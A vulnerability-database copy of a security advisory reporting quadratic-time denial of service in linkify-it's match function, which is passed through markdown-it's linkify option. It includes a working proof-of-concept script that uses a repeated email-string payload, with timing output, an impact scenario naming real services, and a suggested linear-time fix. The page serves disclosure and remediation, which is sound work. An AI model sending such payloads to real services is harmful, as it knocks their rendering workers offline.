GHSA-22P9-WV53-3RQ4
Vulnerability from github – Published: 2026-06-26 20:47 – Updated: 2026-06-26 20:47
VLAI
Summary
LinkifyIt#match scan loop has quadratic algorithmic complexity
Details
Summary
LinkifyIt.prototype.match — the package's primary public API — has O(N²) algorithmic complexity for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.
64 KB of "a@b.com\n" repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).
The same cost passes through markdown-it (linkify:true) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.
Affected component
- HEAD audited:
8e887d5bace3f5b09b1d1f70492fa0364ef1793d(v5.0.0) - Vulnerable function:
LinkifyIt.prototype.match—index.mjs:528-554 - Re-scan call sites inside
test():index.mjs:444(fuzzy host search),:448(fuzzy link match),:467(fuzzy email match) - Transitive consumer:
markdown-it(~21.6M weekly npm DLs) callslinkify.match()atlib/rules_core/linkify.mjs:57whenlinkify:true - All versions affected — the vulnerable loop exists since the initial commit (2014) through v5.0.0
Vulnerability details
The O(N²) outer loop
index.mjs:528-554:
LinkifyIt.prototype.match = function match (text) {
const result = []
let shift = 0
let tail = shift ? text.slice(shift) : text
while (this.test(tail)) {
result.push(createMatch(this, shift))
tail = tail.slice(this.__last_index__) // <-- re-allocates remaining tail each iteration
shift += this.__last_index__
}
if (result.length) return result
return null
}
The loop iterates O(N) times (once per match). Each iteration:
1. tail.slice() re-allocates a string of length |text| - shift — O(N) per iteration
2. this.test(tail) runs three unanchored regex searches over the full new tail:
// index.mjs:444 — full-tail search
tld_pos = text.search(this.re.host_fuzzy_test)
// index.mjs:448 — full-tail match
ml = text.match(this.re.link_fuzzy)
// index.mjs:467 — full-tail match
me = text.match(this.re.email_fuzzy)
Total cost: Σ(N - i*c) for i=0..N = O(N²).
Contrast with the linear schema branch
The schema-prefixed scan in the same test() function does it correctly at index.mjs:428-440:
re = this.re.schema_search
re.lastIndex = 0
while ((m = re.exec(text)) !== null) { ... }
That branch uses a g-flag RegExp and advances lastIndex — linear. The fuzzy branches don't follow this pattern.
Proof of concept
mkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos
npm install linkify-it@5.0.0
cat > poc.mjs <<'EOF'
import LinkifyIt from 'linkify-it'
const l = new LinkifyIt()
for (const n of [1000, 2000, 4000, 8000, 16000]) {
const evil = 'a@b.com\n'.repeat(n)
const t0 = process.hrtime.bigint()
l.match(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)
}
EOF
node poc.mjs
Measured output (Node v25.5.0, Apple Silicon)
n=1000 bytes=8000 took 44 ms
n=2000 bytes=16000 took 159 ms
n=4000 bytes=32000 took 628 ms
n=8000 bytes=64000 took 2506 ms
n=16000 bytes=128000 took 9948 ms
Doubling N → ~4× wall-clock, consistent with O(N²).
markdown-it transitive (independently confirmed)
npm install markdown-it@14.1.1
node -e "
const md = require('markdown-it')({ linkify: true })
for (const n of [1000, 2000, 4000, 8000]) {
const evil = 'a@b.com '.repeat(n)
const t0 = process.hrtime.bigint()
md.render(evil)
const ms = Number(process.hrtime.bigint() - t0) / 1e6
console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')
}
"
n=1000 bytes=8000 md.render=45ms
n=2000 bytes=16000 md.render=171ms
n=4000 bytes=32000 md.render=672ms
n=8000 bytes=64000 md.render=2636ms
Same quadratic curve. 64 KB is enough to burn 2.6 s in markdown-it.render().
Impact
- Availability (High): A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.
- No confidentiality or integrity impact.
Real-world scenario: Any service that renders untrusted Markdown with linkify:true on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of "a@b.com ". The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.
Suggested remediation
The fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:
- Add the
gflag toemail_fuzzy,link_fuzzy,link_no_ip_fuzzy,host_fuzzy_testinlib/re.mjs - Rewrite
test()(or addtestAt(text, pos)) so fuzzy branches setre.lastIndex = posand callre.exec(text)instead oftext.match()/text.search()on a sliced tail - In
match(), droptail = tail.slice(...)entirely — advance aposoffset instead
The schema branch at index.mjs:428-440 is already structured this way — it's the in-repo precedent for the fix.
// proposed sketch
LinkifyIt.prototype.match = function match (text) {
const result = []
let pos = 0
while (this.testAt(text, pos)) {
result.push(createMatch(this, 0))
pos = this.__last_index__
}
return result.length ? result : null
}
Total cost becomes O(N): each character scanned at most once per regex across the whole loop.
Duplicate-risk analysis
- Zero GHSAs on
linkify-it(gh api /repos/markdown-it/linkify-it/security-advisories→[]) - Zero OSV entries (
api.osv.dev/v1/query→{}) - markdown-it's only GHSA (CVE-2022-21670, "Possible ReDOS in newline rule") targets markdown-it's own newline regex, not the linkify pipeline
This finding appears novel.
Note to maintainers
Since markdown-it is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched linkify-it release should be paired with a markdown-it minor that pins the new minimum version.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0"
},
"package": {
"ecosystem": "npm",
"name": "linkify-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48801"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-26T20:47:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\n`LinkifyIt.prototype.match` \u2014 the package\u0027s primary public API \u2014 has **O(N\u00b2) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it\u0027s a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time \u2014 textbook O(N\u00b2).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` \u2014 `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** \u2014 the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N\u00b2) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n const result = []\n let shift = 0\n let tail = shift ? text.slice(shift) : text\n\n while (this.test(tail)) {\n result.push(createMatch(this, shift))\n tail = tail.slice(this.__last_index__) // \u003c-- re-allocates remaining tail each iteration\n shift += this.__last_index__\n }\n\n if (result.length) return result\n return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` \u2014 O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 \u2014 full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 \u2014 full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 \u2014 full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `\u03a3(N - i*c) for i=0..N = O(N\u00b2)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` \u2014 linear. The fuzzy branches don\u0027t follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos \u0026\u0026 cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c\u0027EOF\u0027\nimport LinkifyIt from \u0027linkify-it\u0027\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n const evil = \u0027a@b.com\\n\u0027.repeat(n)\n const t0 = process.hrtime.bigint()\n l.match(evil)\n const ms = Number(process.hrtime.bigint() - t0) / 1e6\n console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000 bytes=8000 took 44 ms\nn=2000 bytes=16000 took 159 ms\nn=4000 bytes=32000 took 628 ms\nn=8000 bytes=64000 took 2506 ms\nn=16000 bytes=128000 took 9948 ms\n```\n\nDoubling N \u2192 ~4\u00d7 wall-clock, consistent with O(N\u00b2).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n const md = require(\u0027markdown-it\u0027)({ linkify: true })\n for (const n of [1000, 2000, 4000, 8000]) {\n const evil = \u0027a@b.com \u0027.repeat(n)\n const t0 = process.hrtime.bigint()\n md.render(evil)\n const ms = Number(process.hrtime.bigint() - t0) / 1e6\n console.log(\u0027n=\u0027 + n + \u0027 bytes=\u0027 + evil.length + \u0027 md.render=\u0027 + ms.toFixed(0) + \u0027ms\u0027)\n }\n\"\n```\n\n```\nn=1000 bytes=8000 md.render=45ms\nn=2000 bytes=16000 md.render=171ms\nn=4000 bytes=32000 md.render=672ms\nn=8000 bytes=64000 md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path \u2014 Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it \u2014 receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic \u2014 convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely \u2014 advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way \u2014 it\u0027s the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n const result = []\n let pos = 0\n while (this.testAt(text, pos)) {\n result.push(createMatch(this, 0))\n pos = this.__last_index__\n }\n return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` \u2192 `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` \u2192 `{}`)\n- markdown-it\u0027s only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it\u0027s own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.",
"id": "GHSA-22p9-wv53-3rq4",
"modified": "2026-06-26T20:47:58Z",
"published": "2026-06-26T20:47:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"
},
{
"type": "PACKAGE",
"url": "https://github.com/markdown-it/linkify-it"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LinkifyIt#match scan loop has quadratic algorithmic complexity"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…